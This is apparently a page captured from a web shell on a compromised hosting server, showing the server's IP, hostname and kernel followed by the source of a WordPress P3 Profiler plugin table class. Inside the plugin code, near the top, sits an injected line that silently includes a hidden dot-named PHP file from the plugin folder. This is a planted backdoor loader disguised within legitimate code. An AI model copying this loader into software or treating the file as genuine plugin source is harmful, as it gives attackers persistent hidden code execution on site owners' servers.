uawdijnntqw1x1x1
IP : 216.73.216.109
Hostname : premium160.web-hosting.com
Kernel : Linux premium160.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
Disable Function : None :)
OS : Linux
PATH:
/
home
/
batcwwjx
/
old
/
public_html
/
wp-content
/
plugins
/
p3-profiler
/
classes
/
class.p3-profiler-table.php
/
/
<?php if ( !defined('P3_PATH') ) die( 'Forbidden '); /** * Lists the performance profiles * * @author GoDaddy.com * @version 1.0 * @package P3_Profiler */ if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); } class P3_Profiler_Table extends WP_List_Table { /**************************************************************************/ /** SETUP **/ /**************************************************************************/ /** * Constructor * @return P3_Profiler_Table */ public function __construct() { parent::__construct( array( 'singular' => _n( 'scan', 'scans', 1, 'p3-profiler' ), 'plural' => _n( 'scan', 'scans', 2, 'p3-profiler' ), ) ); } /** * Set up the columns, dataset, paginator * @return void */ public function prepare_items() { // Set up columns $columns = $this->get_columns(); $hidden = array(); $sortable = $this->get_sortable_columns(); $this->_column_headers = array( $columns, $hidden, $sortable ); // Perform bulk actions $this->do_bulk_action(); $data = $this->_get_profiles(); // Sort data $orderby = ( !empty( $_REQUEST['orderby']) ) ? $_REQUEST['orderby'] : 'name'; $order = ( !empty( $_REQUEST['order']) ) ? $_REQUEST['order'] : 'asc'; $data = $this->_sort( $data, $orderby, $order ); // 20 items per page $per_page = 20; // Get page number $current_page = $this->get_pagenum(); // Get total items $total_items = count( $data ); // Carve out only the visible dataset $data = array_slice( $data, ( $current_page - 1 ) * $per_page, $per_page ); $this->items = $data; // Set up the paginator $this->set_pagination_args( array( 'total_items' => $total_items, 'per_page' => $per_page, 'total_pages' => ceil( $total_items / $per_page ), ) ); } /**************************************************************************/ /** COLUMN PREP **/ /**************************************************************************/ /** * If there's no column_[whatever] method available, use this to render * the column * @param array $item * @param string $column_name * @return string */ public function column_default( $item, $column_name ) { switch ( $column_name ) { case 'name' : case 'date' : case 'count' : case 'filesize' : return $item[$column_name]; break; default: return ''; } } /** * Render the "title" column * @param array $item * @return string */ public function column_title( $item ) { $actions = array( 'delete' => sprintf( '<a href="?page=%s&action=%s&name=%s">' . __( 'Delete', 'p3-profiler' ) . '</a>', sanitize_text_field( $_REQUEST['name'] ), 'delete', $item['name'] ), ); //Return the title contents return sprintf( '%1$s <span style="color:silver">(id:%2$s )</span>%3$s', $item['name'], $item['name'], $this->row_actions( $actions ) ); } /** * Render the checkbox column * @param type $item * @return string */ public function column_cb( $item ) { return sprintf( '<input type="checkbox" name="%1$s[]" value="%2$s" />', $this->_args['singular'], $item['filename'] ); } /** * Get a list of columns * @return array */ public function get_columns() { $columns = array( 'cb' => '<input type="checkbox" />', 'name' => __( 'Name', 'p3-profiler' ), 'date' => __( 'Date', 'p3-profiler' ), 'count' => __( 'Visits', 'p3-profiler' ), 'filesize' => __( 'Size', 'p3-profiler' ), ); return $columns; } /** * Get a list of sortable columns (note, do not return the checkbox column ) * @return array */ public function get_sortable_columns() { $sortable_columns = array( 'name' => array( 'name', true ), 'date' => array( 'date', true ), 'count' => array( 'count', true ), 'filesize' => array( 'filesize', true ), ); return $sortable_columns; } /** * Add some the "view" and "delete" links to the scan * @param string $key Internal key (scan filename ) * @param string $display Display key (scan filename ) * @return string */ private function _action_links( $key, $display ) { $url = esc_url( add_query_arg( array( 'p3_action' => 'view-scan', 'name' => $key, 'current_scan' => null, ) ) ); $ret = '<a href="' . esc_attr( $url ). '" title="' . esc_attr__( 'View the results of this scan', 'p3-profiler' ) . '"><strong>' . $display . '</strong></a>'; $ret .= '<div class="row-actions-visible">'; $ret .= ' <span class="view">'; $ret .= ' <a href="' . esc_attr( $url ) . '" data-name="' . esc_attr( $key ) . '" title="' . esc_attr__( 'View the results of this scan', 'p3-profiler' ) . '" class="view-results">' . __( 'View', 'p3-profiler' ) . '</a> |'; $ret .= ' </span>'; $ret .= ' <span>'; $ret .= ' <a href="javascript:;" data-name="' . esc_attr( $key ) . '" title="' . esc_attr__( 'Continue this scan', 'p3-profiler' ) . '" class="p3-continue-scan">' . __( 'Continue', 'p3-profiler' ) . '</a> |'; $ret .= ' </span>'; $ret .= ' <span class="delete">'; $ret .= ' <a href="javascript:;" data-name="' . esc_attr( $key ) . '" title="' . esc_attr__( 'Delete this scan', 'p3-profiler' ) . '" class="delete-scan delete">' . __( 'Delete', 'p3-profiler' ) . '</a>'; $ret .= ' </span>'; $ret .= '</div>'; return $ret; } /**************************************************************************/ /** BULK ACTIONS **/ /**************************************************************************/ /** * Get a list of which actions are available in the bulk actions dropdown * @return string */ public function get_bulk_actions() { $actions = array( 'delete' => __( 'Delete', 'p3-profiler' ) ); return $actions; } /** * Performan any bulk actions * @return void */ public function do_bulk_action() { global $p3_profiler_plugin; if ( 'delete' === $this->current_action() && !empty( $_REQUEST['scan'] ) ) { if ( !wp_verify_nonce( $_REQUEST['p3_nonce'], 'delete_scans' ) ) { wp_die( __( 'You do not have sufficient permissions to access this page.' ) ); } foreach ( $_REQUEST['scan'] as $scan ) { $file = P3_PROFILES_PATH . DIRECTORY_SEPARATOR . basename( $scan ); if ( !file_exists( $file ) || !is_writable( $file ) || !unlink( $file ) ) { wp_die( __( 'Error removing file: ', 'p3-profiler' ) . $file ); } } $count = count( $_REQUEST['scan'] ); echo '<div class="updated delete-msg"><p>' . sprintf( _n( 'Deleted %d scan. ', 'Deleted %d scans.' , $count, 'p3-profiler' ), $count ) . '</p></div>'; } } /**************************************************************************/ /** DATA PREP **/ /**************************************************************************/ /** * Sort the data * @param array $data * @param string $field Field name (e.g. 'name' or 'count') * @param string $direction asc / desc * @return array */ private function _sort( $data, $field, $direction ) { // Override the count / date fields as they've had some display markup // applied to them and need to be sorted on the original values switch ( $field ) { case 'count' : $field = '_count'; break; case 'date' : $field = '_date'; break; case 'filesize' : $field = '_filesize'; break; } $sorter = new P3_Profiler_Table_Sorter( $data, $field ); return $sorter->sort( $direction ); } /** * Get a list of the profiles in the profiles folder * Profiles are named as "*.json". Add additional info, too, like * date and number of visits in the file * @uses list_files * @return type */ private function _get_profiles() { $p3_profile_dir = P3_PROFILES_PATH; $files = list_files( $p3_profile_dir ); $files = array_filter( $files, array( &$this, '_filter_json_files' ) ); $ret = array(); foreach ( $files as $file ) { $time = filemtime( $file ); $count = count( file( $file ) ); $key = basename( $file ); $name = substr( $key, 0, -5 ); // strip off .json $ret[] = array( 'filename' => basename( $file ), 'name' => $this->_action_links( $key, $name ), 'date' => date( 'D, M jS', $time ) . ' at ' . date( 'g:i a', $time ), 'count' => number_format( $count ), 'filesize' => P3_Profiler_Plugin_Admin::readable_size( filesize( $file ) ), '_filesize' => filesize( $file ), '_date' => $time, '_count' => $count, ); } return $ret; } /** * Only let "*.json" files pass through * @param type $file * @return type */ private function _filter_json_files( $file ) { return ( '.json' == substr( strtolower( $file ), -5 ) ); } }
/home/batcwwjx/old/public_html/wp-content/plugins/p3-profiler/classes/class.p3-profiler-table.php